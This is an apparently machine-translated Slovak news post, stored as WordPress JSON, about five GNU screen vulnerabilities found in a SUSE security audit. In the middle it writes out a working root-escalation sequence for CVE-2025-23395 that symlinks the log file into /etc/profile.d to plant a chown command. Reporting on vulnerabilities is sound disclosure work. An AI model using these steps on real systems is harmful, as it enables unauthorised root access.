{"id":124670,"date":"2025-05-13T03:05:07","date_gmt":"2025-05-13T01:05:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root"},"modified":"2025-05-13T03:05:07","modified_gmt":"2025-05-13T01:05:07","slug":"uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/news\/uyazvimost-v-gnu-screen-pozvolyayushhaya-vypolnit-kod-s-pravami-root","title":{"rendered":"Zranite\u013enos\u0165 v GNU screen, ktor\u00e1 umo\u017e\u0148uje vykon\u00e1vanie k\u00f3du s pr\u00e1vami root","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
V konzolovom spr\u00e1vci okien (multiplexer termin\u00e1lov) GNU screen, ktor\u00fd poskytuje viac okien v konzole, bolo identifikovan\u00fdch 5 zranite\u013enost\u00ed. Najv\u00e1\u017enej\u0161\u00ed probl\u00e9m (CVE-2025-23395) umo\u017e\u0148uje z\u00edska\u0165 pr\u00e1va root v syst\u00e9me. Oprava je s\u00fa\u010das\u0165ou dne\u0161n\u00e9ho vydania screen 5.0.1. <\/p>\n
Zranite\u013enos\u0165 CVE-2025-23395 sa prejavuje iba vo verzii screen 5.0.0, ktor\u00e1 je dod\u00e1van\u00e1 v Fedora Linux, Arch Linux, NetBSD, OpenBSD a Alpine. V Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE\/openSUSE a OpenWrt sa na\u010falej dod\u00e1va verzia screen 4.x. Zneu\u017eitie zranite\u013enosti je mo\u017en\u00e9 v syst\u00e9moch, ktor\u00e9 in\u0161taluj\u00fa spustite\u013en\u00fd s\u00fabor screen s pr\u00edznakom setuid root, napr\u00edklad v Arch Linux a NetBSD. V Fedore je n\u00e1stroj dod\u00e1van\u00fd s pr\u00edznakom setgid na z\u00edskanie pr\u00e1v skupiny screen, \u010do umo\u017e\u0148uje umiest\u0148ovanie soketov v syst\u00e9movom adres\u00e1ri \/run\/screen, \u010do obmedzuje riziko \u00fatoku cez odmietanie slu\u017eieb. <\/p>\n
Zranite\u013enos\u0165 je sp\u00f4soben\u00e1 t\u00fdm, \u017ee pri spusten\u00ed s pr\u00e1vami root sa funkcia logfile_reopen() vykon\u00e1va pred odin\u0161talovan\u00edm privilegovan\u00ed, ale spracov\u00e1va \u00fadaje v kontexte adres\u00e1rov aktu\u00e1lneho neprivilegovan\u00e9ho pou\u017e\u00edvate\u013ea, ktor\u00fd spustil screen. Je zauj\u00edmav\u00e9, \u017ee po\u010diato\u010dn\u00e9 otvorenie logu sa vykon\u00e1va s korektn\u00fdm odin\u0161talovan\u00edm privil\u00e9gi\u00ed, ale pri op\u00e4tovnom otvoren\u00ed s\u00faboru s logom odin\u0161talovanie privil\u00e9gi\u00ed nie je vykon\u00e1van\u00e9. <\/p>\n
Manipul\u00e1ciou s re\u017eimom logovania rel\u00e1cie m\u00f4\u017ee pou\u017e\u00edvate\u013e dosiahnu\u0165 z\u00e1pis \u00fadajov do s\u00faboru s pr\u00e1vami root, pri\u010dom s\u00fabor m\u00f4\u017ee by\u0165 ulo\u017een\u00fd v dom\u00e1com adres\u00e1ri pou\u017e\u00edvate\u013ea. \u00datok spo\u010d\u00edva v odstr\u00e1nen\u00ed vytvoren\u00e9ho s\u00faboru s logom a jeho nahraden\u00ed symbolickou odkazom, ktor\u00fd ukazuje na ak\u00fdko\u013evek s\u00fabor v syst\u00e9me. Ak s\u00fabor u\u017e existuje, bez zmeny vlastn\u00edka sa do\u0148 pridaj\u00fa \u00fadaje z obsahu obrazovky v rel\u00e1cii screen. Ak s\u00fabor neexistuje \u2014 bude vytvoren\u00fd s pr\u00e1vami 0644, vlastn\u00edkom root a skupinou ako aktu\u00e1lny pou\u017e\u00edvate\u013e. <\/p>\n
Vytvorenie rel\u00e1cie screen s aktivovan\u00edm vedenia logu $ screen -Logfile $HOME\/screen.log\n
Stla\u010denie kombin\u00e1cie kl\u00e1vesov Ctrl-a-H na aktivovanie logovania.\n
Odstr\u00e1nenie s\u00faboru s logom a jeho n\u00e1hrada symbolick\u00fdm odkazom, ktor\u00fd vedie k vytvoreniu s\u00faboru \/etc\/profile.d\/exploit.sh $ rm $HOME\/screen.log; ln -s \/etc\/profile.d\/exploit.sh $HOME\/screen.log\n
N\u00e1vrat do rel\u00e1cie screen a zobrazenie \u00fadajov, ktor\u00e9 bud\u00fa zap\u00edsan\u00e9 do s\u00faboru s logom. $ echo -e \"\nchown $USER \/root;\"\n
Po pripojen\u00ed skuto\u010dn\u00e9ho roota do syst\u00e9mu sa spust\u00ed skript \/etc\/profile.d\/exploit.sh, ktor\u00fd zmen\u00ed vlastn\u00edka pre adres\u00e1r \/root. $ ls -lhd \/root drwxr-x\u2014 5 user root 4.0K Dec 30 2020 .\n
Podobne je mo\u017en\u00e9 vytvori\u0165 s\u00fabory s konfigur\u00e1ciou sudo alebo prida\u0165 pr\u00edkazy na koniec syst\u00e9mov\u00fdch skriptov. <\/ul>\n
Menej nebezpe\u010dn\u00e9 zranite\u013enosti v screen: <\/p>\n
\n
CVE-2025-46802 \u2014 zachytenie zariadenia TTY v mnoh\u00fdch rel\u00e1ci\u00e1ch (pou\u017e\u00edvate\u013e m\u00f4\u017ee dosiahnu\u0165 nastavenie pr\u00e1v pre zariadenie \/dev\/pts\/1 ako crw-rw-rw-). Probl\u00e9m sa prejavuje vo vetv\u00e1ch screen 4.x a 5.x.\n
CVE-2025-46803 \u2014 predvolen\u00e9 nastavenie pr\u00e1v 0622 na zariaden\u00ed PTY, umo\u017e\u0148uj\u00face z\u00e1pis ak\u00fdmko\u013evek pou\u017e\u00edvate\u013eom. Probl\u00e9m sa prejavuje iba vo vetve screen 5.0.\n
CVE-2025-46804 \u2014 \u00fanik inform\u00e1ci\u00ed o existencii s\u00faborov a adres\u00e1rov v uzavret\u00fdch adres\u00e1roch (pri zad\u00e1van\u00ed adres\u00e1ra pre sokety, pomocou premennej prostredia SCREENDIR, n\u00e1stroj vyd\u00e1va r\u00f4zne chybov\u00e9 hl\u00e1\u0161ky, ktor\u00e9 umo\u017e\u0148uj\u00fa identifikova\u0165 existenciu s\u00faborov a adres\u00e1rov s dan\u00fdm menom). Probl\u00e9m sa prejavuje vo vetv\u00e1ch screen 4.x a 5.x.\n
CVE-2025-46805 \u2014 stav pretekania pri posielan\u00ed sign\u00e1lov SIGCONT a SIGHUP, \u010do vedie k odmietnutiu slu\u017eby. Probl\u00e9m sa prejavuje vo vetv\u00e1ch screen 4.x a 5.x.\n
Nespr\u00e1vne pou\u017eitie funkcie strncpy (nahradenie strcpy na strncpy bez oh\u013eadu na rozdiel v spracovan\u00ed nulov\u00fdch symbolov \u201e\\0\u201c), \u010do vedie k hav\u00e1rii pri vykon\u00e1van\u00ed \u0161peci\u00e1lne form\u00e1tovan\u00fdch pr\u00edkazov. Probl\u00e9m sa prejavuje iba vo vetve screen 5.0. <\/ul>\n
Zranite\u013enosti boli identifikovan\u00e9 po\u010das auditu k\u00f3dovej z\u00e1kladne GNU screen, ktor\u00fd vykonala t\u00edm zabezpe\u010denia distrib\u00facie SUSE Linux. V\u00fdvoj\u00e1rom screen boli inform\u00e1cie o zranite\u013enosti zaslan\u00e9 7. febru\u00e1ra, ale v r\u00e1mci stanoven\u00fdch 90 dn\u00ed sa im nepodarilo pripravi\u0165 opravy pre v\u0161etky zranite\u013enosti a zamestnanci SUSE museli pripravi\u0165 niektor\u00e9 z\u00e1platy samostatne. Pod\u013ea n\u00e1zorov auditu, s\u00fa\u010dasn\u00ed zodpovedn\u00ed za GNU screen sa dostato\u010dne neorientuj\u00fa v k\u00f3dovej z\u00e1kladni projektu a nie s\u00fa schopn\u00ed \u00faplne pochopi\u0165 zisten\u00e9 probl\u00e9my zabezpe\u010denia. \n Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"